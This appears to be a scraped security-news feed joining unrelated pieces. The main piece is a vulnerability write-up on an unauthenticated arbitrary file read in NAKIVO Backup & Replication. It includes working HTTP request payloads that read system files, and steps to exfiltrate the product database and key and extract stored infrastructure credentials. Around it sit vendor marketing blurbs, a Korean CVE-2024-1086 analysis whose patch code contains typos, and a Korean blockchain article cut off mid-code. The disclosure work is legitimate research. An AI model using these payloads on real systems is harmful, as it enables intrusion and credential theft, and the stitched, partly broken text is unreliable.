“Rebels on the rise, we have […]

The post Streamlining vulnerability research with IDA Pro and Rust appeared first on hn security.

Intro In our previous article Fault […]

The post Fault Injection – Looking for a Unicorn appeared first on hn security.

The fifth article (57 pages) of the Exploiting Reversing Series (ERS), a step-by-step research series on Windows, macOS, hypervisors and browsers, is available for reading on:

(PDF): https://exploitreversing.com/wp-content/uploads/2025/03/exploit_reversing_05.pdf

I would like to thank Ilfak Guilfanov (@ilfak on X) and Hex-Rays SA (@HexRaysSA on X) for their constant and uninterrupted support, which have helped me write these articles over time.

The best thing in life is people.

I hope you enjoy reading it and have an excellent day.

Alexandre Borges.

(MARCH/12/2025)

As an industry, we believe that we’ve come to a common consensus after 25 years of circular debates - disclosure is terrible, information is actually dangerous, it’s best that it’s not shared, and the only way to really to ensure that no one ever uses information in a way that you don’t like (this part is key) is to make up terms for your way of doing things.

We have actively petitioned vendors to be more transparent, and we’re currently investing a lot of R&D time in the development of the best, thickest and tastiest crayons to sign a pledge (the name of which we haven't decided yet). We're thinking something like, Responsible Development Practices. We've also invested in a camera.

Anyway, that was, of course, just a random tangent before we began.

Today, we’re here to talk about an unauthenticated Arbitrary File Read vulnerability we discovered in NAKIVO's Backup and Replication solution - specifically in version 10.11.3.86570 (We didn’t check prior versions, and we’ve struggled to get further information - more on this later).

In recent times, backup solutions have become targets for a plethora of marketing terms focused around ransomware—logically, because one popular way to help recover from a successful ransomware attack is to have a robust and reliable backup solution in place.

As we’ve seen in numerous incidents, though, ransomware gangs tend to prefer situations in which they get paid and typically go that extra mile you'd expect from a 10x operator to ensure their victims can’t simply roll their systems back, including nuking and destroying any in-place backup mechanisms.

To prove our point, we can look at Veeam - one of the bigger players in the backup and recovery space. For whatever unknown reason, Veeam solutions have been a staple within CISA’s Known Exploited Vulnerability list - demonstrating even tenuously that attackers do see value in the targeting of backup solutions.

What are we dealing with?

Beyond being a backup solution in the most simplistic and logical sense, NAKIVO Backup and Replication, like any modern backup solution, boasts endless integrations - it’ll integrate into your hypervisors, your cloud environments, and more.

All these integrations are nice, but from an attacker’s point of view, this represents an opportunity—to access these solutions, NAKIVO is typically configured with credentials that allow access to the aforementioned environments (you can see where this is going).

An interesting and natural APT target, and thus we decided to take a look.

Director Web Interface

As a preface and some context, the NAKIVO Backup & Replication solution is made up of a number of components.

However, today our focus will be Director - a central management HTTP interface that listens on 4443/TCP (we didn’t bother going further, to be honest).

After deploying the Windows instance of this solution, we quickly got to work building a picture of how this system worked - handily supported by installation files deployed to: %ProgramFiles%\NAKIVO Backup & Replication

A quick glance shows us a Tomcat folder and a bunch of jar files - fantastic news.

As always, our first aim is to understand what we’re looking at, and map functionality so that we can ultimately begin to understand where we should begin prodding. As with Tomcat applications deployed via war files, the web.xml defines the routes available to the application and the corresponding servlet that supports requests to defined endpoints.

For example, within this file:

    <servlet>
        <servlet-name>dispatcher</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <load-on-startup>2</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>dispatcher</servlet-name>
        <url-pattern>/c/*</url-pattern>
    </servlet-mapping>

In the above example, we can see that any value that follows on from the /c/ URI is mapped to the Spring Framework class org.springframework.web.servlet.DispatcherServlet .

This is typically driven by its accompanying dispatcher servlet configuration file, which contains directives on how the servlet behaves.

For example, within this file (dispatcher-servlet.xml), we find the tag <context:annotation-config/>, which enables support for annotated controllers (@Controller or @RestController) and handler methods (@RequestMapping, @GetMapping, etc.) for jar files loaded within the classpath.

Looking outside the Tomcat folder, we find a large jar file named backup_replication.jar which contains usage of these annotations.

For example, we found the following annotation within com/company/product/ui/actions/LoginController.java , as can be seen below the RequestMapping maps to the URI /login.

Controller
 @RequestMapping({"/login"})
 public class LoginController
   extends AbstractController
 {
   @Autowired
   @Qualifier("SettingsService")
   private SettingsService settingsService;
   @Autowired
   private RegistrationService registrationService;
   @Autowired
   private ConfigurationInfoService configurationInfoService;
   @Autowired
   private WebApplicationContext applicationContext;
   private static final Gson gson = SerializationUtils.createGsonSerializer().create();
 
 
   
   @RequestMapping(method = {RequestMethod.GET})
   public ModelAndView getIndex(Locale locale, HttpServletResponse response, HttpServletRequest request) {
     CanTryResponse canTryResponse;
     CanUseDefaultCredentialsResponse defaultCredentialsResponse;
     addSecurityHeaders(response::addHeader);

By combining the prefix of the url-pattern in the web.xml with the RequestMapping above we arrive at a URI of /c/login to reach the login page. Fairly simply.

However, grabbing out the assorted controllers, we were disappointed to identify that only a small number were reachable without authentication, due to a filter being in place. Since we authenticated vulnerabilities typically aren’t our focus, we’re restricted to the following paths:

• /c/router
• /c/api
• /c/openApi
• /c/login

One endpoint stood out - /c/router .

When initially browsing through the Director interface, this endpoint was heavily utilised to call various actions and methods.

Millions of years of evolution gave us a hint that this may be an interesting place to start - and so began to review HTTP requests like the following in more depth:

POST /c/router HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Connection: keep-alive
Content-Length: 98

{"action":"AutoUpdateManagement","method":"getState","data":null,"type":"rpc","tid":3980,"sid":""}

Seeing a request like this piques our interest (and we’re sure yours) because of the typically sensitive meaning of the words action and method .

In a vein to figure out at a high level how the solution works, we began to build a suspicion that action is literally mapped to Java classes, and method is literally mapped to methods in a class file.

Just grep’ing through the code, this begins to be confirmed:

@Service
@RemotingApiAction(AutoUpdateManagement.class)
public class AutoUpdateFacade
  implements AutoUpdateManagement
{
  @Autowired
  private AutoUpdateService autoUpdateService;
  @Autowired
  @Qualifier("AlerterAutoUpdate")
  private Alerter alerter;
  @Autowired
  private LicensingService licensingService;
  @Autowired
  private AuthenticationService authenticationService;
  
  [..Truncated..]
  
   @RemotingApiMethod(isMasterTenantAllowed = true, isTenantAllowed = false)
 @Secured({"PERMISSION_VIEW_PRODUCT_AUTO_UPDATE"})
 public boolean checkUpdateByServer() throws AutoUpdateManagementException {
   return this.autoUpdateService.isCheckUpdateByServerFailed();
 }
  
  @RemotingApiMethod(isMasterTenantAllowed = true)
public AutoUpdateStateDto getState() {
  AutoUpdateState state = this.autoUpdateService.getState()

As we can see, RemotingApiAction (whatever this is) is passed something that looks suspiciously similar to our action parameter value AutoUpdateManager and the RemotingApiMethod annotation maps to the method getState.

Pulling ourselves back a little, we’ve never seen the annotation @RemotingApiAction before. Rather rapidly, we decided that this was a custom implementation specific to this NAKIVO solution, and low and behold we found it defined within com.company.product.direct.server.rpc.annotations.RemotingApiAction, with the associated methods within com.company.product.direct.server.rpc.annotations.RemotingApiMethod.

It doesn’t take a genius to confirm that the annotation, @RemotingApiAction, maps to the action parameter and the @RemotingApiMethod to the method parameter.

Now that we’re beginning to piece things together, a very rapid sift through the code reveals over a thousand occurrences of @RemotingApiMethod being utilised, which gives us a fairly large amount of code to review. We’re lazy—we’re not a PSIRT team— we just want the unauthenticated methods.

If you read the code snippet above again, like us you’ll notice the @Secured annotation for the checkUpdateByServer method. This appears to be the mechanism in which the NAKIVO solution defines the roles and permissions needed to access a specific function - in this instance, @Secured({"PERMISSION_VIEW_PRODUCT_AUTO_UPDATE"}).

So, we went back to our rapid sift, and effectively excluded anything that was accompanied by any @Secured annotation.

For example, the following snippet was not accompanied by a @Secured annotation:

@Service
@RemotingApiAction(VmAgentDiscoveryManagement.class)
public class VmAgentDiscoveryFacade
  implements VmAgentDiscoveryManagement
{

[..Truncated..]

@RemotingApiMethod(isMasterTenantAllowed = true)
@Transactional(readOnly = true)
public TransporterHostDto getVmAgentByVmId(String id) throws VmAgentDiscoveryException {
  try {
    ValidationUtils.assertNotNull(id, "common.error.empty.value", new Object[] { "id" });
    TransporterHost th = this.transporterService.getByVmVid(id);
    th = (TransporterHost)this.gr.reattach((Identifiable)th);
    return (th != null) ? this.transporterDtoHelperService.toDto(th) : null;
  } catch (Exception e) {
    throw new VmAgentDiscoveryException(e);
  } 
}

We can reach this, without authentication, with the following request to /c/router :

POST /c/router HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Connection: keep-alive
Content-Length: 121

{"action":"VmAgentDiscoveryManagement","method":"getVmAgentByVmId","data":["watchTowr"],"type":"rpc","tid":3980,"sid":""}

Note how we supply the action of VmAgentDiscoveryManagement and the method of getVmAgentByVmId.

There are all sorts of pre-authenticated actions and methods that take in magical DTOs, and, bluntly, to review these comprehensively we’d have to spend time building out valid data structures and requests - strong pass, and in our experience, this level of effort just isn’t needed.

So, we spent another five minutes looking for more endpoints, and found the following gem:

@Service
@RemotingApiAction(STPreLoadManagement.class)
public class STPreLoadFacade
  implements STPreLoadManagement
{

[..Truncated..]

@RemotingApiMethod
public byte[] getImageByPath(String path) throws MspManagementException {
  try {
    return this.brandingService.getImageByPath(path);
  } catch (Throwable t) {
    throw new MspManagementException(t);
  } 

This method, which maps to the action STPreLoadManagement, looks interesting - GetImageByPath sounds mysterious and unclear as to what it might do.

Naturally, we follow the call trace into brandingService.getImageByPath:

public byte[] getImageByPath(String path) throws IOException {
  String newPath = path.replace("/c", "userdata");
  File file = new File(newPath);
  return FileUtils.readFileToByteArray(file);
}

It appears that the getImageByPath method takes a parameter (path) and immediately uses that path to read a file to a byte array (or, we assume so, by the once again ambiguous readFileToByteArray ).

Throwing caution into the wind, we just give it a shot:

POST /c/router HTTP/1.1
Host: {{Hostname}
Content-Type: application/json
Connection: keep-alive
Content-Length: 121

{"action":"STPreLoadManagement","method":"getImageByPath","data":["C:/windows/win.ini"],"type":"rpc","tid":3980,"sid":""}

And what do we get back?

HTTP/1.1 200 
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Strict-Transport-Security: max-age=31536000; includeSubDomains
Cache-Control: max-age=0
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 466
Keep-Alive: timeout=60
Connection: keep-alive

{"action":"STPreLoadManagement","method":"getImageByPath","tid":"3980","type":"rpc","message":null,"where":null,"cause":null,"data":[59,32,102,111,114,32,49,54,45,98,105,116,32,97,112,112,32,115,117,112,112,111,114,116,13,10,91,102,111,110,116,115,93,13,10,91,101,120,116,101,110,115,105,111,110,115,93,13,10,91,109,99,105,32,101,120,116,101,110,115,105,111,110,115,93,13,10,91,102,105,108,101,115,93,13,10,91,77,97,105,108,93,13,10,77,65,80,73,61,49,13,10]}

That’s an interesting-looking series of numbers.

Well, OK - that was a little simpler than expected. We have an unauthenticated Arbitrary File Read vulnerability - with the added benefit that (per what we saw, and our own default deployment) - the NAKIVO solution runs as a superuser regardless of platform (i.e. we can read anything, inc /etc/shadow if Linux deployed, for example).

Not great, but it's not RCE.

We provide... Leverage

We’ve found an unauthenticated Arbitrary File Read vulnerability, that simply put allows us now to read any file on the target host. But, what can we use this for?

Well, rubbing our collective 2 and a half braincells together, we think back to the actual purpose of this solution - to store backups.

Can’t we just… request the backups themselves? Ultimately, they're likely to contain all the juicy info we're looking for.

Where would they be?

After playing around with the software and backing up a sacrificial Linux server, we found the raw backup file stored on disk, as: C:\NakivoBackup\18ff30f5-cfd6-4708-9220-5ec433075934\ead9e897-7ec7-4612-9855-aa86e364afda.raw

This somewhat complicates things - an attacker needs to somehow enumerate/guess/manifest the correct UUIDs before they can even attempt to read and exfiltrate a server backup.

Well, fortunately or unfortunately, these backup file paths are magically stored in cleartext within the logs of the NAKIVO solution, which are located at logs\\0\\backup.log and logs\\0\\controller-physical.log. An attacker can simply use our lovely Arbitrary File Read Vulnerability to review these logs, extract the paths to the raw backup files, and subsequently download the backups.

Well, we guess… there’s one minor… ok … major limitation - since the server reads the entire file into RAM before serving it to the friendly-requesting user via HTTP, the file has to fit into (virtual) memory. In 2025, a reality in which systems are provisioned with harddisks typically measured in hundreds-of-GBs, if not TBs, it seems unlikely that the host configured to run this NAKIVO solution will have sufficient amounts of ram.

In addition, we have to hope that a friendly network admin doesn’t notice hundreds of GBs of bandwidth leaving their environment.

Editor: Let’s be real, this is not going to be noticed.

Where there’s authentication, there is material

With this fairly significant limitation in mind, and disappointed that we felt this vulnerability was becoming a little ‘impact-less’, we pondered on how we could leverage this into something a little more scary.

We reflected that uninspired attack scenarios could include simply downloading the local database used by the solution, extracting and “cracking” user passwords, and logging in as a legitimate user - but this would reflect a lot of effort and as we mentioned earlier, we’re lazy. What if someone actually bothered to use strong passwords?

Surprisingly (not really), the solution’s default database sits on the filesystem at userdata\db\product01.h2.db.

If we recall back to what we mentioned earlier - the NAKIVO solution integrates into a multitude of system types, and when setting up the solution itself to create backups you do indeed have a multitude of options for adding various “Inventory” items:

To connect to an AWS S3 bucket for the purposes of performing a backup, you’d logically need AWS keys.

To connect to a Linux host for the purposes of performing a backup, you would require SSH credentials (for example).

To connect to a Domain Controller for the purposes of performing a backup, you would need suitably privileged credentials.

In order for the solutions to work, these keys and credentials will need to be stored in a non-hashed manner for the integrations to take place with automation.

Having reviewed the database locally in a text editor, we identified that these keys and credentials are stored encrypted using a key located in: %ProgramFiles%\NAKIVO Backup & Replication\userdata\config.properties

This means it's not just a matter of dumping the DB and running a query.

While all the data is stored within the H2.db file, the schema is not stored there, making it impossible to simply open it in a client and select data with SQL statements. The NAKIVO solution stores the schema within the application code and formats the .db file at runtime. This leaves us with two options to proceed:

1. Replicate the database schema from the Java code so we can parse the .db file (tedious!)
2. Use an installation of the application we control to do this for us!

Let’s imagine the following, to move past this hurdle:

1. Deploy the NAKIVO solution on a host we control
2. Setup the instance and authenticate to the instance
3. Stop the NAKIVO Backup & Replication Director service on our host
4. Exfiltrate the following files from our target NAKIVO instance to our instance using the Arbitrary File Read vulnerability, and replace the files we have on our host:

%ProgramFiles%\NAKIVO Backup & Replication\userdata\db\product01.h2.db

%ProgramFiles%\NAKIVO Backup & Replication\userdata\config.properties

1. Restart the aforementioned service on our local NAKIVO instance and observe the integrations have been migrated successfully and are connected.

At this point, we could configure backup jobs on our now locally deployed NAKIVO instance to connect to these inventory items (defined in our “borrowed” database), but that in itself introduces operational hurdles (bandwidth, network connectivity requirements, etc).

Why can’t we just get the credentials, and use as we see fit?

In this example, where NAKIVO has been configured with an SSH username and password pair for this particular inventory item, the password is masked (no, it’s not a client-side mask). But, logically, our connection to the host is still success and thus somewhere - likely in memory - the configured credentials must exist in plaintext.

Given we’re now operating with a “borrowed” database on our local NAKIVO solution, this is relatively simple to address - we can configure the NAKIVO solution to create a Java Debug session, allowing us to dump memory in full.

To dump this from memory we can create a Java Debug session by adding debug JVM parameters to:

%ProgramFiles%\NAKIVO Backup & Replication\native\win32\backup_replication-service.ini

First we connect our Java debugger with the backup_replication.jar attached as a library, so we can correctly breakpoint the application server.

Secondly, using the NAKIVO's GUI, we attempt to edit the connection to the Ubuntu server without changing the username or starred password, a HTTP request is triggered for the action PhysicalDiscovery and method update.

Finding this within the library (com/company/product/hypervisors/physical/discovery/core/PhysicalDiscoveryService.class) and setting a breakpoint allows us to dump the cleartext credential for the server:

And just like that, we’ve demonstrated a clear path from our unauthenticated Arbitrary File Read vulnerability - to obtaining all stored credentials utilized by the target NAKIVO solution.

From here, the possibilities are extensive depending on what's been integrated, and goes beyond merely stealing backups — to essentially unlocking entire infrastructure environments.

Communications

We attempted to disclose this vulnerability to NAKIVO several times via email (13th September 2024 and 2nd October 2024), but did not receive a response. After a month or so, we braved their chat system and engaged with a very confused representative who, somewhat expectedly, didn’t really understand our problem.

Fortunately, though, the confusion must have made it’s way a little further, as we later received an email from NAKIVO support (29th October 2024).

Living our lives peacefully and really not bothering anyone, we eventually identified that NAKIVO had quietly patched the vulnerability in a new release (without announcing the vulnerability via an advisory), and we confirmed that fixes are present in versions v11.0.0.88174 and onwards.

In the patched version, the developers have opted to utilize the FileUtils library with the getFile function.

By utilizing this approach the supplied value from the user is split into components and a new file path is constructed using fixed directory names ("userdata", "branding") combined with only the filename portion, preventing directory traversal attempts - parent directory references (../) and path manipulation are stripped away during the filename extraction process.

public byte[] getImageByPath(String path) throws IOException {
  String fileName = FilenameUtils.getName(path);
  File targetFile = FileUtils.getFile(new String[] { "userdata", "branding", fileName });
  
  if (!targetFile.exists() || !targetFile.canRead() || targetFile.isDirectory()) {
    throw new IOException(Lang.get("services.branding.no.file", new Object[0]));
  }
  
  return FileUtils.readFileToByteArray(targetFile);
}

This resolves the vulnerability we identified and detail here today.

However, much to our dismay, when reviewing release notes for the NAKIVO solution, there is no mention of this vulnerability (and of course, no CVE); we can only assume that they reached out to their customer base secretly to inform them to upgrade to v11.0.0.88174 to resolve this vulnerability.

We would be shocked if a vendor tried to sweep a vulnerability this serious under a rug, and knowingly give their customers a misplaced sense of security.

Regardless, we applied for a CVE number ourselves and were allocated CVE-2024-48248, so we can at least reference the vulnerability by this name.

Conclusion

We’ve said time and time again that bugs, in some form or another, are an inescapable fact of life, and that a vendors response to a bug is much more important than the presence of a defect itself.

We’re not assuming or suggesting here that NAKIVO have responded badly - we of course assume that they contacted all their customers under NDA, and encouraged them quietly to patch, to avoid leaving their customers unknowingly vulnerable.

Regardless of this, we’re still in ‘not great’ territory - software that safeguards large amounts of critical data, as any backup solution does, is bound to be under the scrutiny of motivated and mean attackers. Given a vulnerability so “simple”, it’s sometimes hard to believe that we’re the only ones that stumbled into it.

As we mentioned previously, we have confirmed that the aforementioned vulnerability has been resolved in v11.0.0.88174.

Beyond this, we are unable to advise as to which versions, and how many versions, proceeding this are vulnerable, and can only advise that concerned customers of NAKIVO attempt exploitation of their servers in order to firmly ascertain their status.

To make this easier, we’ve supplied a Detection Artifact Generator that also serves as an unofficial NAKIVO customer support tool:

https://github.com/watchtowrlabs/nakivo-arbitrary-file-read-poc-CVE-2024-48248/

Timeline

Let’s talk about YAGC (Yet Another Gartner® Category—we kid, we kid): CTEM. Truth is the cybersecurity space is overflowing with acronyms, frameworks, and categories, and, like vulnerability scanning, it can be hard to parse what matters amidst the noise. You need to know whether it’s worth your time, and if so, what you’ll need to invest across tools, processes, and people to be successful.

Source

For years, organizations have relied on human-led pentests—but these outdated methods are slow, expensive, and leave security gaps between tests. This white paper reveals…

Source

Taking on the role of a Chief Information Security Officer (CISO) comes with a sobering realization: the clock starts ticking the moment you step into the role. Cyber threats don’t wait, and your organization’s vulnerabilities may already be known to adversaries. In this high-stakes environment, NodeZero® becomes more than a tool – it’s your immediate ally. If I were a new CISO…

Source

Financial services faced 141 breaches in Q3 2024 alone, exposing over 16 million victims. Cybercriminals exploit hidden vulnerabilities that traditional tools often fail to detect—leaving organizations at risk. In just 14 hours, NodeZero uncovered critical weaknesses, multiple domain compromises, and systemic security gaps at a major financial institution. With quick remediation…

Source

Mergers and acquisitions introduce significant cybersecurity risks, from unknown vulnerabilities in the target company’s IT infrastructure to latent threats that could persist post-acquisition. Traditional due diligence often overlooks these risks, leaving organizations exposed. NodeZero® provides a proactive, attack-driven approach to identifying and mitigating security gaps before, during…

Source

2025 Top Rated Software Award…

Source

Business Wire 02/25/2025 Horizon3.ai, a global leader of autonomous security solutions, continues to set new industry benchmarks, achieving 101% year-over-year revenue growth and exceeding 150% of Q4 pipeline targets in FY25. With demand accelerating for real-world, offense-driven security, organizations are rapidly adopting NodeZero® to continuously find, fix, and verify exploitable weaknesses…

Source

Business Wire 02/19/2025 Horizon3.ai, a global leader of autonomous security solutions, announced today that NodeZero® has surpassed 100,000 pentests conducted by over 3,000 customers, with projections exceeding 400,000 by the end of 2026. As cyber threats escalate, organizations are shifting from periodic, compliance-driven pentests to continuous attack validation with NodeZero.

Source

Back in October of 2024, we were investigating one of the many Ivanti vulnerabilities and found ourselves without a patch to “patch diff” with – leading us to audit the code base at mach speed. This led to the discovery of four critical vulnerabilities in Ivanti Endpoint Manager (EPM). These vulnerabilities were patched last month in Ivanti’s January patch rollup.

Source

Adam Warren, IT Director at Jerome’s Furniture, sits down with Horizon3.ai’s Principle Security SME, Stephen Gates, to discuss how Jerome’s has evolved its cybersecurity strategy over the years. From early vulnerability management struggles to the adoption of autonomous penetration testing with NodeZero, Adam shares real-world insights on how a lean IT team can efficiently defend against modern…

Source

URL

https://www.igloo.co.kr/security-information/linux-kernel-%eb%82%b4-use-after-free-%ec%b7%a8%ec%95%bd%ec%a0%90cve-2024-1086-%eb%b6%84%ec%84%9d-%eb%b0%8f-%eb%8c%80%ec%9d%91%eb%b0%a9%ec%95%88/

Target

• Linux Kernel 6.1 ~ 6.5 버전

Explain

이 취약점은 Linux Kernal 내 리눅스 패킷 필터링 및 네트워크 주소 변환(NAT) 프레임워크인 netfilter의 nf_tables 구성 요소에서 UAF가 발생하는 취약점입니다.

이 취약점은 nftables의 패킷 처리 과정에서 발생하며, nf_hook_slow()와 nft_verdict_init() 함수에서 발생합니다.

아래는 nf_hook_slow() 함수의 일부입니다.

int nf_hook_slow(struct sk_buff *skb, struct nf_hook_state *state,                  const struct nf_hook_entries *e, unsigned int s){    unsigned int verdict;    int ret;    for (; s < e->num_hook_entries; s++) {        verdict = nf_hook_entry_hookfn(&e->hooks[s], skb, state);                switch (verdict & NF_VERDICT_MASK) {            case NF_ACCEPT:                break;            case NF_DROP:                kfree_skb(skb);                ret = NF_DROP_GETERR(verdict);                if (ret != 0)  // 오타 수정                    ret = -EPERM;                return ret;            case NF_QUEUE:                ret = nf_queue(skb, state, s, verdict);                if (ret == 1)                    continue;                return ret;            default:                break;        }        return 0;    }    return 1;}

위 코드는 netfilter 모듈 내의 nf_hook_slow() 함수의 일부로, 패킷 처리 규칙을 반복문 안에서 평가합니다. 패킷에 대한 verdict 값을 얻고, 그 값과 NF_VERDICT_MASK 매크로 값을 통해 패킷 처리를 결정합니다. verdict 값은 패킷 처리 결과값을 나타내며, 이는 사용자가 설정할 수 있는 값입니다.

nf_hook_slow() 함수에서는 NF_DROP일 경우 kfree_skb()를 호출하여 패킷을 해제합니다. 이후 NF_DROP_GETERR(verdict)에서 공격자가 설정한 verdict 값이 “0xFFFF0000”이라면, 함수 내부 연산을 통해 ret 값은 -65535로 설정됩니다. 이 값은 이후 NF_ACCEPT로 처리되어 패킷이 계속해서 처리됩니다.

아래는 nft_verdict_init() 함수입니다.

static int nft_verdict_init(const struct nft_ctx *ctx, struct nft_data *data, struct nft_data_desc *desc, const struct_nlattr *nla){    switch (data->verdict.code) {    default:        switch (data->verdict.code & NF_VERDICT_MASK) {        case NF_ACCEPT:        case NF_DROP:        case NF_QUEUE:            break;        default:            return -EINVAL;        }    }    return 0;}

nft_verdict_init() 함수에서 data->verdict.code는 규칙 설정에 대한 리턴 값으로 사용되며, 공격자가 “0xFFFF0000” 값을 설정할 경우 취약점이 발생합니다.

NF_VERDICT_MASK 매크로를 통해 verdict.code의 하위 16비트를 추출하면, “0xFFFF0000 & 0x0000FFFF”가 되어 “0x00000000”이 됩니다. 이 값은 NF_DROP을 의미하기 때문에 해당 패킷을 드롭하는 것으로 처리됩니다. 그러나 nf_hook_slow() 함수에서 패킷을 드롭하려는 처리 후, NF_DROP_GETERR(verdict) 연산에 의해 ret 값은 -65535로 설정되며, NF_ACCEPT로 처리됩니다.

이로 인해 이미 kfree_skb()로 해제된 패킷이 다시 처리되어 이전에 해제된 소켓 메모리(skb)를 참조하게 되어 Use-After-Free(UAF) 상황이 발생하고, 그 후 다시 소켓 메모리를 해제하면서 이중 해제(double-free)가 발생하게 됩니다.

패치된 nft_verdict_init() 함수는 다음과 같습니다:

switch (data->verdict.code) {  case NF_ACCEPT:  case NF_DROP:  case NF_QUEUE:     break;  case NFT_CONTINUE:   case NFT BREAK:  case NFT_RETURN:     data->verdict.chain-chain;     break;  default:     return -EINVAL;  }

data->verdict.code 값에 대해 검증이 추가되었습니다. 이제 verdict.code 값은 허용된 값들만 처리하고, 잘못된 값이 들어오면 무조건 -EINVAL을 반환하여 악의적인 입력을 차단합니다. 이로 인해 패킷 처리가 정상적으로 이루어지며, 취약점을 방지할 수 있습니다.

결론적으로, 이 취약점은 nf_hook_slow()에서 패킷을 처리하고, 잘못된 verdict 값으로 인해 이미 해제된 메모리를 참조하게 되어 Use-After-Free(UAF)와 이중 해제(double-free) 문제가 발생하는 것입니다. 패치된 버전에서는 verdict.code 값을 직접 검증하여 유효하지 않은 값에 대해 오류를 반환함으로써 이 문제를 해결합니다.

Reference

https://nvd.nist.gov/vuln/detail/cve-2024-1086

Introduction

안녕하세요 bekim입니다.

이전 연구글에서는 비트코인 네트워크에 블록을 추가하여 거래를 가능하게 하는 것이 “Proof of Work”임을 짧게 알려드렸죠? 사실 이 과정을 가능하게 하는 합의 알고리즘은 PoW 뿐만 아니라 여러 가지가 있어요. 합의 알고리즘(Consensus Algorithm)이란, 블록체인 네트워크의 참여자들이 하나의 유효한 블록을 선택하고, 해당 체인을 유지하는 방식을 결정하는 매커니즘을 말해요.
이번 연구글에서는 그 중에서도 잘 알려진 알고리즘인 PoS, PoW와 DPoS, PBFT, Hybrid PoW/PoS에 대해 설명드리겠습니다.

1. Proof of Work (PoW)

저번에 말씀드렸던 작업 증명을 간단하게 설명드리면, 작업증명은 채굴자가 연산을 수행하여 특정 난이도를 만족하는 해시 값을 찾는 방식입니다. 이 방식은 비트코인에서 처음 도입되었으며, 채굴자는 Nonce 값을 조정하며 목표 해시 값을 찾는 과정을 반복해야 해요.
비트코인은 평균 10분마다 블록이 생성되도록 설계되어있는데, 이를 유지하기 위해 네트워크는 약 2주(2016개 블록)마다 난이도(Difficulty)를 조정해요.

실제 비트코인의 최신 구현을 기준으로, PoW가 어떻게 동작하는지 살펴보겠습니다!

unsigned int GetNextWorkRequired(const CBlockIndex* pindexLast, const CBlockHeader *pblock, const Consensus::Params& params){    assert(pindexLast != nullptr);    unsigned int nProofOfWorkLimit = UintToArith256(params.powLimit).GetCompact();// Only change once per difficulty adjustment interval    // [1]     if ((pindexLast->nHeight+1) % params.DifficultyAdjustmentInterval() != 0)    {        if (params.fPowAllowMinDifficultyBlocks)        {            // Special difficulty rule for testnet:            // If the new block's timestamp is more than 2* 10 minutes            // then allow mining of a min-difficulty block.            // [2]            if (pblock->GetBlockTime() > pindexLast->GetBlockTime() + params.nPowTargetSpacing*2)                return nProofOfWorkLimit;            else            {                // Return the last non-special-min-difficulty-rules-block                // [3]                const CBlockIndex* pindex = pindexLast;                while (pindex->pprev && pindex->nHeight % params.DifficultyAdjustmentInterval() != 0 && pindex->nBits == nProofOfWorkLimit)                    pindex = pindex->pprev;                return pindex->nBits;            }        }        // [4]        return pindexLast->nBits;    }    // Go back by what we want to be 14 days worth of blocks    // [5]    int nHeightFirst = pindexLast->nHeight - (params.DifficultyAdjustmentInterval()-1);    assert(nHeightFirst >= 0);    const CBlockIndex* pindexFirst = pindexLast->GetAncestor(nHeightFirst);    assert(pindexFirst);    return CalculateNextWorkRequired(pindexLast, pindexFirst->GetBlockTime(), params);}

[1] 비트코인은 2016개 블록마다 난이도를 조정해요. 만약 다음 블록의 높이(pindexLast->nHeight+1)가 2016(params.DifficultyAdjustmentInterval()) 의 배수가 아니라면 난이도를 변경하지 않고 기존 블록의 난이도(pindexLast->nBits)[4]를 유지하게 됩니다.

[2] 이 때, Testnet 환경에서는, 이전 블록이 생성된 후 목표시간(10분)의 2배인 20분 이상이 지나도록 새로운 블록이 생성되지 않으면 난이도를 최소값(nProofOfWorkLimit)으로 조정하는 예외 규칙이 적용되는데요.

[3] Testnet에서 난이도를 최소값으로 조정했더라도, 이후 정상적인 블록이 생성되면 다시 원래 난이도로 복귀합니다. 이 과정에서 이전 블록을 따라가며 가장 최근의 정상적인 난이도를 가진 블록을 찾아 그 난이도를 유지해요.

const CBlockIndex* pindex = pindexLast;while (pindex->pprev && pindex->nHeight % params.DifficultyAdjustmentInterval() != 0 && pindex->nBits == nProofOfWorkLimit)    pindex = pindex->pprev;return pindex->nBits;

이를 위해 비트코인은 가장 최근에 추가된 블록(pindexLast)을 시작점으로, 이전 블록을 따라가며(while (pindex->pprev)) 가장 최근의 정상적인 난이도를 가진 블록을 찾아 난이도를 유지해요.
즉, 최소 난이도로 생성된 블록들은 건너 뛰고(pindex->nBits == nProofOfWorkLimit), 난이도 조정 주기에 도달하지 않은 블록들을 탐색하다가(pindex->nHeight % params.DifficultyAdjustmentInterval() != 0), 난이도 조정이 이루어진 블록을 만나면 탐색을 종료합니다.

[5] 하지만, 현재 블록의 높이(pindexLast->nHeight)가 난이도 조정 주기(2016개의 배수)에 도달했을 경우, 비트코인 네트워크에서는 새로운 난이도를 계산하여 조정합니다.

비트코인에서는 이전 2016개 블록이 예상보다 빨리 생성되었으면 난이도를 높이고, 느리게 생성되었으면 난이도를 낮추는 방식으로 설계되었어요.

unsigned int CalculateNextWorkRequired(const CBlockIndex* pindexLast, int64_t nFirstBlockTime, const Consensus::Params& params){    if (params.fPowNoRetargeting)        return pindexLast->nBits;    // Limit adjustment step    // [1]    int64_t nActualTimespan = pindexLast->GetBlockTime() - nFirstBlockTime;    // [2]    if (nActualTimespan < params.nPowTargetTimespan/4)        nActualTimespan = params.nPowTargetTimespan/4;    if (nActualTimespan > params.nPowTargetTimespan*4)        nActualTimespan = params.nPowTargetTimespan*4;    // Retarget    const arith_uint256 bnPowLimit = UintToArith256(params.powLimit);    arith_uint256 bnNew;    // Special difficulty rule for Testnet4    // [3]    if (params.enforce_BIP94) {        // Here we use the first block of the difficulty period. This way        // the real difficulty is always preserved in the first block as        // it is not allowed to use the min-difficulty exception.        int nHeightFirst = pindexLast->nHeight - (params.DifficultyAdjustmentInterval()-1);        const CBlockIndex* pindexFirst = pindexLast->GetAncestor(nHeightFirst);        bnNew.SetCompact(pindexFirst->nBits);    } else {        bnNew.SetCompact(pindexLast->nBits);    }// [4]    bnNew *= nActualTimespan;    bnNew /= params.nPowTargetTimespan;// [5]    if (bnNew > bnPowLimit)        bnNew = bnPowLimit;    return bnNew.GetCompact();}

